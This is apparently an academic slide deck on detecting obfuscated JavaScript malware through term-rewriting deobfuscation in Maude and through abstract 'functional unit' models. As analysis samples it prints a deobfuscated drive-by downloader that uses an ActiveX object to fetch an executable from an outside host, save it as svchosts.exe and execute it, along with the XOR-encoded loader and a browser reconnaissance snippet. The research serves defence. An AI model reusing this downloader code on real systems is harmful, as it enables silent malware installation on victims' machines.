Outline

1 Introduction

2 Current Issues

3 Considerations

4 Obfuscation

5 Proposal

6 Towards Static Analysis

7 Conclusion
The Web is not a safe place


- 310,000 unique domains were found to be malicious from July 2009 to June 2010
- on average, 4.4 million malicious Web pages per month were detected
- the report focused on attack kits that target specific vulnerabilities
- attack methods include: drive-by attacks, compromising legitimate websites, social engineering
- Symantec observed a decreasing activity in the attack frequency of known reported vulnerabilities
JS Malware and Related Threats

Definition

Attacks that abuse the web browsers capabilities to execute malicious script-code within the victims local execution context

\[ ^a \text{On JavaScript Malware and Related Threats, M. Johns, Journal in Computer Virology, vol.4 no.3, 2008} \]

strengths

- stealth
- transformation
- concealment

purposes

- phishing, drive-by download, heapspray, etc.
- information leakage, LAN exploits, etc.
- (XSS) worm propagation, (XSS) botnet, etc.
Defense issues

Few proposed countermeasures being deployed:

- antivirus/IDS are useless: JS malware uses obfuscation among other techniques to conceal contents subjected to pattern-matching
- offline analyzers like WEPAWET\(^1\) or JSunpack\(^2\) are good tools for analysts
- JS malware use widespread scripting language and legal Same-Origin Policy bypasses, exploits logic flaws, embodies many different purposes, is polymorphic
- dynamic methods may miss the attack code since it is concealed through several layers of obfuscation and redirection

---

\(^1\) wepawet.cs.ucsb.edu
\(^2\) jsunpack.jeek.org
Many proposals resort to static analysis in a hybrid approach to increase detection accuracy:

- it can maximize the code coverage: JSAND\textsuperscript{3} needs to execute programs many times
- it is free from execution side-effects: offline analyzers get trapped in anti-analysis tricks
- it allows the application of formal methods: model checking\textsuperscript{4}, data-flow analysis, abstract interpretation\textsuperscript{5}

\textsuperscript{3}\textit{Detection and analysis of drive-by-download attacks and malicious JavaScript code}, M. Cova et al., 19\textsuperscript{th} Int. Conf. on World Wide Web, 2010

\textsuperscript{4}\textit{Towards a Formal Foundation of Web Security}, D. Akhawe et al., 23\textsuperscript{rd} IEEE Comp. Sec. Found. Symp.

\textsuperscript{5}\textit{A Semantics-Based Approach to Malware Detection}, M. Dalla Preda et al., 34\textsuperscript{th} Ann. ACM Symp. on Princ. of Prog. Lang.
Obfuscation has gotten more and more attention:

- it is highly used to conceal the intents of malicious code
- obfuscation is not an indicator of malice\(^6\)
- static analysis has issues dealing with obfuscation, especially pattern-matching
- many proposed methods have confessed that they are to be applied against unobfuscated samples
- offline analyzers are vulnerable to anti-analysis tricks

Obfuscation

Definition

The goal of program obfuscation is to make a program unintelligible while preserving its functionality\(^7\).

Techniques\(^8\)

- simples techniques: string splitting and escaping, plain encryption, browser exploitation tricks, script packing
- monoalphabetic permutated encryption
- context dependent obfuscation (anti-deobfuscation tricks)

---

\(^7\) On the (Im)possibility of Obfuscating Programs, B. Barak et al., 21\(^{st}\) Ann. IACR Crypto Conference, 2001

\(^8\) Server-Side Script Polymorphism: Techniques of Analysis and Defense, C. Craioveanu, 3\(^{rd}\) Int. Conf. on Malicious and Unwanted Soft., 2008
Obfuscated Code: \textit{eval()} unfolding

str = "qndy'mh)!(:gtobuhno!qndy'mh)(!zw's!doeds!"!
enbtlldou/bsd'udDmdldou)&nckdbu&(doeds/rdu@uushctud)&he-&doeds&(doeds/rdu@uushctud)&bm'rrhe-&b&*m*&rhe;C**E8**&7B447,74 &**@2,00**&E1,892@,1**1B**&15G&**B38**&D27&(:usx!zw's!'rp<!doeds/Bsd'udNckdbu)&l*#ry##&lm3**#/**&Y**#LM**&I**&UUQ-&&(:"
// the above string has been abbreviated

str2 = "";

for (i = 0; i < str.length; i++)
{
    str2 = str2 + String.fromCharCode(str.charCodeAt(i) ^ 1);
};
Deobfuscation

<table>
<thead>
<tr>
<th>Techniques⁹</th>
<th>objects</th>
<th>the HTML document, the current URL</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>critical sinks</td>
<td>eval(), document.write()</td>
</tr>
<tr>
<td></td>
<td>dangerous functions</td>
<td>encode(), unescape(), fromCharCode(), charCodeAtAt(), + (concatenation)</td>
</tr>
<tr>
<td></td>
<td>dangerous events</td>
<td>onLoad(), onUnload(), onSubmit()</td>
</tr>
<tr>
<td></td>
<td>methodology</td>
<td>strip JavaScript code off from any HTML tags, then replace critical sinks with print() and execute. Repeat until the code is deobfuscated</td>
</tr>
</tbody>
</table>

We want to rewrite a given script with a simplified set of instructions that can be deducted from the original set of instructions.

Ex: given the following set of instructions:

```
nuc="";
b="Str"+nuc+"ing"+nuc+"."+nuc+"from"+nuc+"Ch"+nuc+"arCo"+nuc+"de"+nuc+("a"+nuc+)");
eval(b);
```

we want to deduce the following instruction:

```
eval("String.fromCharCode(a)");
```
Requirements

The proposed deobfuscator follows some requirements:

- be provided with enough code to reverse the obfuscation scheme
- recognize the employed obfuscated scheme based on some heuristics\(^10\)
- emulate the deciphering routine for realtime processing
- the process should terminate and output a normal form: the deobfuscated program

Hence, a rewriting system seems fit to carry out a reduction of the *obfuscated path* by applying the deciphering routine to the obfuscated string.

Additionally, JavaScript can be considered a \(\lambda\)-calculus language which can be reduced through rewriting logic.

\(^{10}\) assuming there is a finite number of obfuscation schemes
Maude\textsuperscript{11} is a reflective language developed at SRI International and the University of Illinois at Urbana-Champaign:

- supports both equational and rewriting logic specification and programming
- supports rewriting logic computation
- supports an extensible algebra of module composition operations
- allows to create executable environments
- Maude is not able to natively accommodate iterative loops

\textsuperscript{11}maude.cs.uiuc.edu
Example

The deciphering loop in the `eval()` unfolding example can be converted as the following Maude functional module after converting the iterative loop to a recursive function:

```
fmod TEST is
    protecting INT .
    protecting STRING .
    op test : Int String String -> String .
    var I : Int .
    vars S1 S2 : String .
    ceq test(I,S1,S2) = S2 if length(S1) <= I .
    ceq test(I,S1,S2) = test((I + 1),S1,S2)
        + char(ascii(substr(S1,(length(S1) - I - 1),1)) xor 1)
        if I < length(S1) .
endfm
g.blanc, term-rewriting deobfuscation slide 17/25
Example output

rewrites: 9012 in 15ms cpu (17ms real)
(592894 rewrites/second)

result String: "poexali();function poexali() {
var ender = document.createElement('object');
derer.setAttribute('id','ender');ender.setAttribute('classid','c'+'1'+'\"sid:B\"+D9\"+6C556-65\"A3-11\"+D0-983A-0\"OC\"+04F\"C29\"+E36\");
try {var asq = ender.CreateObject('m\"sx\"+ml2+'\".\"+X\"ML\"+H\"TTP\"');
var ass = ender.CreateObject("Sh\"+ell.A"+p"+
plica"+tion\",');
var asst = ender.CreateObject('a\"odb\"+st\"r\"+eam\",');try { asst.type = 1;asq.open('G\"T','http://www.coyhaique.cl//load.php',false);
asq.send(); asst.open();
asst.Write(asq.responseBody);var imya = './/..//svchosts.exe';
asst.SaveToFile(imya,2);asst.Close();}
catch(e) {}try { ass.shellexecute(imya); } catch(e) {}catch(e){}"
The deobfuscation stage incurs a delay in the analysis of JS malware:

- execution-based deobfuscation is straightforward, quick, but incurs incompleteness or exploitation.
- this method can accommodate even unknown obfuscation schemes.
- tests have shown that rewriting-system based deobfuscation does not exceed 100ms.
System overview

1. Input
   - DOM embedded contents
   - Obfuscated program
2. Decoder
3. Rewriting system
   - Rewrite rules (transition axioms)
4. Deobfuscated program (plaintext)
5. Functional unit decomposition
6. Abstract functional model
Functional unit

Definition

In a program, set of instructions that expresses a single functionality.

- first defined by Lu and Kan\textsuperscript{12}
- focus on language native functions and propagate the scope of the function up to the root of the parse tree
- clusterize related instructions to abstract the program to a handful of functionalities
- programs can be abstracted to these functionalities

\textsuperscript{12}Supervised Categorization of JavaScript using Program Analysis Features, 2\textsuperscript{nd} Asia Info. Retr. Symp., 2005
function poexali() {
    var ender = document.createElement('object');
    ender.setAttribute('id','ender');
    ender.setAttribute('classid','clsid:BD96C556-65A3-11D0-983A-00C04FC29E36');
    try {
        var asq = ender.CreateObject('msxml2.XMLHTTP','
        var ass = ender.CreateObject('Shell.Application','
        var asst = ender.CreateObject('adodb.stream','
        try {
            asst.type = 1;
            asq.open('GET','http://attacksite//attack.php',false);
            asq.send();
            asst.open();
            asst.Write(asq.responseBody);
            var imya = './/..//svchosts.exe';
            asst.SaveToFile(imya,2);
            asst.Close();
        } catch(e) {} 
        try {
            ass.shellexecute(imya);
        } catch(e) {} 
        } catch(e) {}
    }
}

download
storage
execution
Decision is made by comparing the extracted abstract model of the analyzed script with known models.

**Building corpora**
- ontology
- machine learning

**Minimal models**
There is a need to survey corpora of both benign, malicious and obfuscated scripts to draw minimal models that allow distinguishing the different datasets.
We proposed to leverage rewriting strategies to provide:

- a fast deobfuscation technique
- to emulate one of the stage performed by malicious code
- and that has the potential as a first stage for realtime malware analysis
- additionally, this method can be applied to other web scripting language similar to JS

We will need to work on:

- developing strategies for rewrite rules selection
- surveying obfuscation schemes
- exhaustively evaluating the time-performance tradeoffs of our method
Thank you for your attention!

Any questions?

more information at

http://iplab.aist-nara.ac.jp/~gregory/
Browser Model Shift: After
Examples

Sample reconnaissance code

```javascript
<script>
    function loaded(){// resource exists}
    function timed_out(){// resource does not exist}
    function err(){// requesting the resource errs}
    i = new Image(); i.onload = loaded;
    i.onerror = err;
    window.setTimeout(timed_out, 1000);
    i.src = "http://target.tld/path";
</script>
```

Real-life examples

- XSS worms: Samy, Yamanner, Justin.tv, Mikeey
- XSS botnets: BeEF, BrowserRider
- Insider attacks: reconnaissance, CSRF, information gathering
Web 2.0 Security Solutions

On the Server Side
- integrating security into development: SDL, code auditing
- detecting attacks by signature matching: IDS, IPS
- learning the application and controlling input: WAF

On the Client Side
- allowing only scripts which prevention is not harmful: sandbox
- following critical assets to prevent leakage: tainting
- monitoring the sequence of activities: control flow analysis
- detecting attacks by pattern/behavior matching: heuristics
- building benign web application models: machine learning

Client-server Collaboration
- enforcing server-side code constraints on the client-side: policies
- rewriting possibly malicious instructions: interposition
**Prefetching (Content Aggregation) Module**

**goal**
provide enough code to the deobfuscation module to conduct deciphering and reversing

**method**
prefetch all web page contents likely to contain malicious JavaScript and mash all the contents in a single web page to prevent anti-analysis tricks
Prefetching Linked Contents from a Web Page

```html
<script src="b.com/s.js"/>

<div onclick="click.js">

<img src="javascript:x.js"/>
```

```
<a href="a.com/index.html">

click.js
```

```
```
Decision Module

goal  decide whether a given script is malicious or not

method  trace JavaScript program objects or variables using data flow analysis in order to cluster instructions that are using these objects. These clusters are called functional units. We then extract an abstract functional model of this program which is the combination/sequence of functional units. This abstract model will help determine whether the program intends to carry out a benign or a malicious operation

requirements  provide a deobfuscated JavaScript program or an expression of the plain instructions that were once obfuscated
goal  provide a deobfuscated code that will ease the analysis of the JS instructions

method  deduce the results of the deciphering routine of the obfuscation scheme by using automated deduction. Without executing the code, the instructions are clustered by tracing the flow of variables caught into critical sinks. These instructions are then transformed to first-order logical clauses that will be fed to a theorem prover

requirements  provide enough code and context to detect and simulate the deciphering routine
We want to rewrite a given script with a simplified set of instructions that can be deducted from the original set of instructions.

Ex: given the following set of instructions:

```javascript
nuc="";
b="Str"+nuc+"ing"+nuc+"."+nuc+"from"+nuc+"Ch"+nuc+"arCo"+nuc+"de"+nuc+""(a"+nuc+");eval(b);
```

we want to deduce the following instruction:

```javascript
eval("String.fromCharCode(a)");
```
SpyProxy: Execution-based Detection of Malicious Web Content

**reference**  A. Moshchuk et al. @ USENIX Security 2007

**summary**  The authors designed a proxy solution that dynamically execute JS candidates and forward the URL or not upon execution results

Detection and Analysis of Drive-by Download Attacks and Malicious JavaScript Code

**reference**  M. Cova, C. Kruegel and G. Vigna @ WWW 2010

**summary**  The authors combine anomaly detection, to detect malicious JS code on features modeled on the steps of a malicious exploitation, with emulation to dynamically execute the obfuscated code and to draw the necessary features using instrumentation
## Analyzing Obfuscated JavaScript Code

<table>
<thead>
<tr>
<th><strong>Obfuscated Malicious JavaScript Detection using Classification Techniques</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>reference</strong></td>
</tr>
<tr>
<td><strong>summary</strong></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>Detection for JavaScript Obfuscation Attacks in Web Pages through String Pattern Analysis</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>reference</strong></td>
</tr>
<tr>
<td><strong>summary</strong></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>Malicious Web Content Detection by Machine Learning</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>reference</strong></td>
</tr>
<tr>
<td><strong>summary</strong></td>
</tr>
</tbody>
</table>
Online Deobfuscators

- **WEPAWET/JSAND** (UCSB Computer Security Group):
  http://wepawet.cs.uscb.edu
- **JSunpack** (iDefense): http://jsunpack.jeek.org/dec/go
- **The Ultimate Deobfuscator** (WebSense)

These solutions are not practical in the case of a realtime defense system.
From Intuition to Abstraction

Intuition
In this research, we propose a different approach to the description of script behaviors inspired by the stages carried out by malicious scripts upon execution:\(^a:\)

- redirection and cloaking
- deobfuscation
- environment preparation
- exploitation

We believe we can capture the intent of carrying out these activities hidden within the analyzed script

\(^a\) Detection and Analysis of Drive-by Download Attacks and Malicious JavaScript Code, M. Cova et al., WWW 2009

Abstraction
Malicious programs are characterized by the expression of the above activities and may be abstracted into such functional activities. At that level of abstraction, we believe most of malicious programs may share a common phylogenic root
We propose a client-side proxy that will provide abstraction of script-based malware into functional units to:

- alleviate the load on the user’s browser
- provide a sound and complete analysis
- maximize the code coverage of the analysis
- provide realtime analysis
The Web cluster on the leftmost represents a malicious script distribution site while the Web server mashes contents from different sources (including the malicious Web cluster) into pages served to the victim located in the private network at the rightmost.
After

\[ L_1 : \text{Create}(L_{Downloader}, \text{asq}) \to L_2 \]
\[ L_2 : \text{Create}(L_{ShellCommand}, \text{ass}) \to L_3 \]
\[ L_3 : \text{Create}(L_{FileSystemAccess}, \text{asst}) \to L_4 \]
\[ L_4 : \text{asst.Write}(\text{asq}) \to L_5 \]
\[ L_5 : \text{Create}(L_{FileObject}, \text{imya}, <\text{filepath}> ) \to L_6 \]
\[ L_6 : \text{imya} := \text{Save}(\text{asst}) \to L_7 \]
\[ L_7 : \text{ass} = \text{Execute}(\text{imya}) \]